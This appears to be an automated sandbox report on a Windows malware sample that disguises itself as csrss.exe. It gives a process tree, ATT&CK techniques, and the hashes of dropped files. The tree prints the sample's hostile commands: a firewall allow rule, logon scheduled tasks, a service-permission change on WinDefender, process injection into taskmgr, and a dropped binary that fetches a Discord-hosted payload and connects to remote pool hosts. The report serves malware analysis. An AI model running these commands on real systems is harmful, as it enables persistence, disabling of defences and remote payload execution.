PID 4240 wrote to memory of 1252	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	81
PID 1252 wrote to memory of 3864	1252	cmd.exe	83
PID 1252 wrote to memory of 3864	1252	cmd.exe	83
PID 4240 wrote to memory of 1664	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	84
PID 4240 wrote to memory of 1664	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	84
PID 4240 wrote to memory of 1664	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	84
PID 4240 wrote to memory of 4952	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	86
PID 4240 wrote to memory of 4952	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	86
PID 4240 wrote to memory of 4952	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	86
PID 4240 wrote to memory of 1332	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	88
PID 4240 wrote to memory of 1332	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	88
PID 4240 wrote to memory of 1332	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	88
PID 1332 wrote to memory of 4980	1332	csrss.exe	89
PID 1332 wrote to memory of 4980	1332	csrss.exe	89
PID 1332 wrote to memory of 4980	1332	csrss.exe	89
PID 1332 wrote to memory of 4640	1332	csrss.exe	96
PID 1332 wrote to memory of 4640	1332	csrss.exe	96
PID 1332 wrote to memory of 4640	1332	csrss.exe	96
PID 1332 wrote to memory of 2148	1332	csrss.exe	98
PID 1332 wrote to memory of 2148	1332	csrss.exe	98
PID 1332 wrote to memory of 2148	1332	csrss.exe	98
PID 1332 wrote to memory of 4316	1332	csrss.exe	100
PID 1332 wrote to memory of 4316	1332	csrss.exe	100
PID 1924 wrote to memory of 876	1924	windefender.exe	107
PID 1924 wrote to memory of 876	1924	windefender.exe	107
PID 1924 wrote to memory of 876	1924	windefender.exe	107
PID 876 wrote to memory of 4920	876	cmd.exe	108
PID 876 wrote to memory of 4920	876	cmd.exe	108
PID 876 wrote to memory of 4920	876	cmd.exe	108
PID 1332 wrote to memory of 3016	1332	csrss.exe	110
PID 1332 wrote to memory of 3016	1332	csrss.exe	110
PID 1332 wrote to memory of 3016	1332	csrss.exe	110
PID 1332 wrote to memory of 1508	1332	csrss.exe	112
PID 1332 wrote to memory of 1508	1332	csrss.exe	112
PID 1332 wrote to memory of 1508	1332	csrss.exe	112
PID 1332 wrote to memory of 708	1332	csrss.exe	114
PID 1332 wrote to memory of 708	1332	csrss.exe	114
PID 1332 wrote to memory of 708	1332	csrss.exe	114
PID 1332 wrote to memory of 4500	1332	csrss.exe	116
PID 1332 wrote to memory of 4500	1332	csrss.exe	116
PID 1332 wrote to memory of 4500	1332	csrss.exe	116
PID 1332 wrote to memory of 2816	1332	csrss.exe	118
PID 1332 wrote to memory of 2816	1332	csrss.exe	118
PID 1332 wrote to memory of 2816	1332	csrss.exe	118
PID 1332 wrote to memory of 1780	1332	csrss.exe	120
PID 1332 wrote to memory of 1780	1332	csrss.exe	120
PID 1332 wrote to memory of 1780	1332	csrss.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
"C:\Users\Admin\AppData\Local\Temp\6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4560
- C:\Users\Admin\AppData\Local\Temp\6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
  "C:\Users\Admin\AppData\Local\Temp\6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe"
  2⤵
  - Windows security bypass
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4240
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2452
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1252
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Modifies data under HKEY_USERS
      PID:3864
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1664
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Command and Scripting Interpreter: PowerShell
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4952
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Manipulates WinMonFS driver.
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1332
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4980
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:3124
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:2912
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4640
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2148
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:4316
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:3044
  - - C:\Windows\windefender.exe
      "C:\Windows\windefender.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:1924
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:876
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:4920
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:3016
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
      4⤵
      Executes dropped EXE
      PID:1508
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:708
  - - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      4⤵
      Executes dropped EXE
      PID:4500
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Command and Scripting Interpreter: PowerShell
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:2816
  - - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      4⤵
      Executes dropped EXE
      PID:1780

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:2268

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4wz4rzlj.4qg.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe

Filesize
2.0MB

MD5
1bf850b4d9587c1017a75a47680584c4

SHA1
75cd4738ffc07f203c3f3356bc946fdd0bcdbe19

SHA256
ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955

SHA512
ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe

Filesize
2.8MB

MD5
713674d5e968cbe2102394be0b2bae6f

SHA1
90ac9bd8e61b2815feb3599494883526665cb81e

SHA256
f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057

SHA512
e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Filesize
2.0MB

MD5
dcb505dc2b9d8aac05f4ca0727f5eadb

SHA1
4f633edb62de05f3d7c241c8bc19c1e0be7ced75

SHA256
61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551

SHA512
31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe

Filesize
281KB

MD5
d98e33b66343e7c96158444127a117f6

SHA1
bb716c5509a2bf345c6c1152f6e3e1452d39d50d

SHA256
5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1

SHA512
705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
db01a2c1c7e70b2b038edf8ad5ad9826

SHA1
540217c647a73bad8d8a79e3a0f3998b5abd199b

SHA256
413da361d77055dae7007f82b58b366c8783aa72e0b8fbe41519b940c253b38d

SHA512
c76ff57fcee5cdf9fdf3116d4e1dc0cf106867bf19ab474b763e242acf5dca9a7509cb837c35e130c3e056636b4e8a4e135512a978bcd3dd641e20f5bf76c3d6

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
f491457457223945054af196db3ae10a

SHA1
7503a1593d9c8c8f0e1f5b701edfaf93ff16bfe3

SHA256
425d040729584b67ef7e2a01b3d5c9f185aec0defadf58e387b525fc76064272

SHA512
de08456bddc59b9d17f65e5985759a2d5f6dc72ffff763eeac4bce4fb86f580ed61138dd9f0a8120663bbc2c59307b8fbbbca48cfc64218f1719cb60d41f1890

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
751dce052b0c0559034dcb5df7b919c4

SHA1
9d61035db7c193eae36b7caf39a2f4058c2a855c

SHA256
e56438592c306235117e1ce1e631cf7a6b9a10cc42cd0151ecb05c63aefea71c

SHA512
8d201ecaa5feafe328141243058abb35840ece6be986c68c099c7f1f392a375b5f258e9203ccfc1aad9beb7952dd42030390dfe3ce947ace308deed18fede665

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
4f6d3f70f9a973512341cb37cfbee054

SHA1
67e10f8a385a6c77bbec0f772ca74773e041397f

SHA256
e8cd5e162bfb02fe50f21934bc9e079887ed6405fc34be61597951be2eff8f77

SHA512
9c8e05882bd0b6e6a38d5c8099ef180e3e4ccc1aa3bce202b3ae6a75e4d63636968aacf38ea153ee4ace0712255ef2d8c72bdd7764e2fe3953dd94bc7efe4179

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
bd743abe7213b2f5d7d571493e2e1159

SHA1
a2d6e87e80eded07f7e5b0f1b778ca907af879c0

SHA256
0f393f770e0400041f313c73c2d9f7bcab160f9652b442fe54989ff5fb4d0af8

SHA512
f661bb8c310add2685a2cf930caab6270343a486623aef861ee47e3bc72c5f8d468bcd5e146f66ebfb215f17a58683a39e9ef1e4f5cebb1261b14e9429fcd8c3

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
717856e74a9def585d3f29bb8fae531c

SHA1
16218eedf180893e3fa81233850b4b95385a3589

SHA256
83b402519266e6ee741df3952762bc3466c451bd58119e40a1c3211a19ea8025

SHA512
05b21c81d897c03a4246b07f1505007e5d7bb6cb0212c98e274ed792794e3a3c9f75182cbe04fe63d01cdd5d880eebf45710843282382b53fcfb21332bc2c3c3

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
62c4d744460920034602a82a138b25d9

SHA1
9dad6d2c3775545b4e71c972f7b23e1c96e80bb3

SHA256
1f6516f40a5e89d3368cad3730d1b8bfeed781e5c353b937c6a94f5779cdf5f7

SHA512
a10cdacf89651dd7d5bf6529461efbcb0523ac1883b4100b9d9e6e0fa6f31ff0c663a45caaea17fe4ded78ae3812c790b3b0fb97d145eef6a4c596baf05833d8

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
6750811366bb9ab6fee52a405ceff78e

SHA1
ce2021bfc46d92d64cb5ed00b634a073b48fac3c

SHA256
003f4e091788fb97272b18dfc5844e881b1a485aeb547fb730efb4552bb472d2

SHA512
7182856e3501304dc80ebf03828145c35ce4d185dbce60b7bee88986b2e5c1ff518ba4f056734be481dbe1b58aa33d11b4de3aa769028fc0f087f0592344b363

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
ddabaac707fb68209a9c74859a9a2c4f

SHA1
1bd73e7d35539ec05fe3e469d39fc78622ae0002

SHA256
e9e494cda8c681b85f67981f33ed3756cc27413e27bd8ebb692b00edf460d289

SHA512
4aa23f65e8a4a00463b07dfbc2b75780fc8271f5255e2264301163c73557df72f063cba8310d66f0535c16f3231fcb6233110223e3b2a10aeb6ebab4ee7098ae

Download Submit
C:\Windows\rss\csrss.exe

Filesize
4.1MB

MD5
e6e1f03cdd49b6234cc01cf624afc230

SHA1
aa05c9573fd6f8a8c212d85e26f80133dc6996da

SHA256
6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5

SHA512
37ebf4d6ffc81876f96034b5154097fda3f4cb5a02b1678c9ee1102f8a6d08a668d441afc6eb67b626444a1be12fb3a1910859220c7b2f2bb87d5dcf657fe97e

Download Submit
C:\Windows\windefender.exe

Filesize
2.0MB

MD5
8e67f58837092385dcf01e8a2b4f5783

SHA1
012c49cfd8c5d06795a6f67ea2baf2a082cf8625

SHA256
166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa

SHA512
40d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec

Download Submit
memory/708-2032-0x0000000007DE0000-0x0000000008130000-memory.dmp

Filesize
3.3MB

Download
memory/708-2053-0x000000006FE60000-0x00000000701B0000-memory.dmp

Filesize
3.3MB

Download
memory/708-2052-0x000000006FDF0000-0x000000006FE3B000-memory.dmp

Filesize
300KB

Download
memory/1332-1741-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1758-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1774-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-2536-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1772-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-2532-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1770-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-2527-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1768-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1766-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1764-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1762-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1760-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1780-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1756-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1754-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-2524-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1776-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-2512-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1778-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-2520-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1752-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-2516-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1332-1749-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/1508-2031-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/1508-2027-0x0000000000400000-0x00000000008E1000-memory.dmp

Filesize
4.9MB

Download
memory/1664-565-0x0000000070030000-0x000000007007B000-memory.dmp

Filesize
300KB

Download
memory/1664-566-0x0000000070080000-0x00000000703D0000-memory.dmp

Filesize
3.3MB

Download
memory/1780-2523-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1780-2511-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1780-2539-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1780-2535-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1780-2531-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1780-2528-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1780-2519-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1780-2515-0x0000000000400000-0x00000000008E8000-memory.dmp

Filesize
4.9MB

Download
memory/1924-1748-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/1924-1746-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2148-1502-0x00000000080E0000-0x0000000008430000-memory.dmp

Filesize
3.3MB

Download
memory/2148-1523-0x000000006FF50000-0x00000000702A0000-memory.dmp

Filesize
3.3MB

Download
memory/2148-1522-0x000000006FEE0000-0x000000006FF2B000-memory.dmp

Filesize
300KB

Download
memory/2268-1750-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2268-1761-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2268-1755-0x0000000000400000-0x00000000008DF000-memory.dmp

Filesize
4.9MB

Download
memory/2452-327-0x0000000070030000-0x000000007007B000-memory.dmp

Filesize
300KB

Download
memory/2452-333-0x0000000009680000-0x0000000009725000-memory.dmp

Filesize
660KB

Download
memory/2452-328-0x0000000070080000-0x00000000703D0000-memory.dmp

Filesize
3.3MB

Download
memory/2452-308-0x0000000008200000-0x000000000824B000-memory.dmp

Filesize
300KB

Download
memory/2452-307-0x0000000007DE0000-0x0000000008130000-memory.dmp

Filesize
3.3MB

Download
memory/2816-2293-0x000000006FDF0000-0x000000006FE3B000-memory.dmp

Filesize
300KB

Download
memory/2816-2294-0x000000006FE60000-0x00000000701B0000-memory.dmp

Filesize
3.3MB

Download
memory/3016-1805-0x000000006FE40000-0x0000000070190000-memory.dmp

Filesize
3.3MB

Download
memory/3016-1804-0x000000006FDF0000-0x000000006FE3B000-memory.dmp

Filesize
300KB

Download
memory/3016-1810-0x0000000009910000-0x00000000099B5000-memory.dmp

Filesize
660KB

Download
memory/3016-1785-0x0000000008480000-0x00000000084CB000-memory.dmp

Filesize
300KB

Download
memory/3016-1783-0x0000000007F10000-0x0000000008260000-memory.dmp

Filesize
3.3MB

Download
memory/4240-1017-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/4296-302-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/4296-303-0x0000000002E30000-0x000000000371B000-memory.dmp

Filesize
8.9MB

Download
memory/4296-2-0x0000000002E30000-0x000000000371B000-memory.dmp

Filesize
8.9MB

Download
memory/4296-1-0x0000000002A20000-0x0000000002E26000-memory.dmp

Filesize
4.0MB

Download
memory/4296-3-0x0000000000400000-0x0000000000D1C000-memory.dmp

Filesize
9.1MB

Download
memory/4500-2271-0x0000000000FE0000-0x00000000018AD000-memory.dmp

Filesize
8.8MB

Download
memory/4500-2534-0x0000000000FE0000-0x00000000018AD000-memory.dmp

Filesize
8.8MB

Download
memory/4500-2522-0x0000000000FE0000-0x00000000018AD000-memory.dmp

Filesize
8.8MB

Download
memory/4500-2518-0x0000000000FE0000-0x00000000018AD000-memory.dmp

Filesize
8.8MB

Download
memory/4500-2526-0x0000000000FE0000-0x00000000018AD000-memory.dmp

Filesize
8.8MB

Download
memory/4500-2514-0x0000000000FE0000-0x00000000018AD000-memory.dmp

Filesize
8.8MB

Download
memory/4500-2530-0x0000000000FE0000-0x00000000018AD000-memory.dmp

Filesize
8.8MB

Download
memory/4560-7-0x0000000004560000-0x0000000004596000-memory.dmp

Filesize
216KB

Download
memory/4560-74-0x000000006FF10000-0x000000006FF5B000-memory.dmp

Filesize
300KB

Download
memory/4560-11-0x0000000006FF0000-0x0000000007012000-memory.dmp

Filesize
136KB

Download
memory/4560-16-0x0000000007DD0000-0x0000000007E1B000-memory.dmp

Filesize
300KB

Download
memory/4560-12-0x00000000077D0000-0x0000000007836000-memory.dmp

Filesize
408KB

Download
memory/4560-10-0x0000000073200000-0x00000000738EE000-memory.dmp

Filesize
6.9MB

Download
memory/4560-8-0x00000000071A0000-0x00000000077C8000-memory.dmp

Filesize
6.2MB

Download
memory/4560-9-0x0000000073200000-0x00000000738EE000-memory.dmp

Filesize
6.9MB

Download
memory/4560-82-0x0000000009D60000-0x0000000009E05000-memory.dmp

Filesize
660KB

Download
memory/4560-6-0x000000007320E000-0x000000007320F000-memory.dmp

Filesize
4KB

Download
memory/4560-76-0x0000000073200000-0x00000000738EE000-memory.dmp

Filesize
6.9MB

Download
memory/4560-83-0x0000000073200000-0x00000000738EE000-memory.dmp

Filesize
6.9MB

Download
memory/4560-282-0x0000000009ED0000-0x0000000009ED8000-memory.dmp

Filesize
32KB

Download
memory/4560-84-0x0000000009F60000-0x0000000009FF4000-memory.dmp

Filesize
592KB

Download
memory/4560-277-0x0000000009EE0000-0x0000000009EFA000-memory.dmp

Filesize
104KB

Download
memory/4560-35-0x0000000008230000-0x000000000826C000-memory.dmp

Filesize
240KB

Download
memory/4560-300-0x0000000073200000-0x00000000738EE000-memory.dmp

Filesize
6.9MB

Download
memory/4560-75-0x000000006FF60000-0x00000000702B0000-memory.dmp

Filesize
3.3MB

Download
memory/4560-66-0x0000000008F70000-0x0000000008FE6000-memory.dmp

Filesize
472KB

Download
memory/4560-13-0x0000000007940000-0x00000000079A6000-memory.dmp

Filesize
408KB

Download
memory/4560-15-0x0000000007D80000-0x0000000007D9C000-memory.dmp

Filesize
112KB

Download
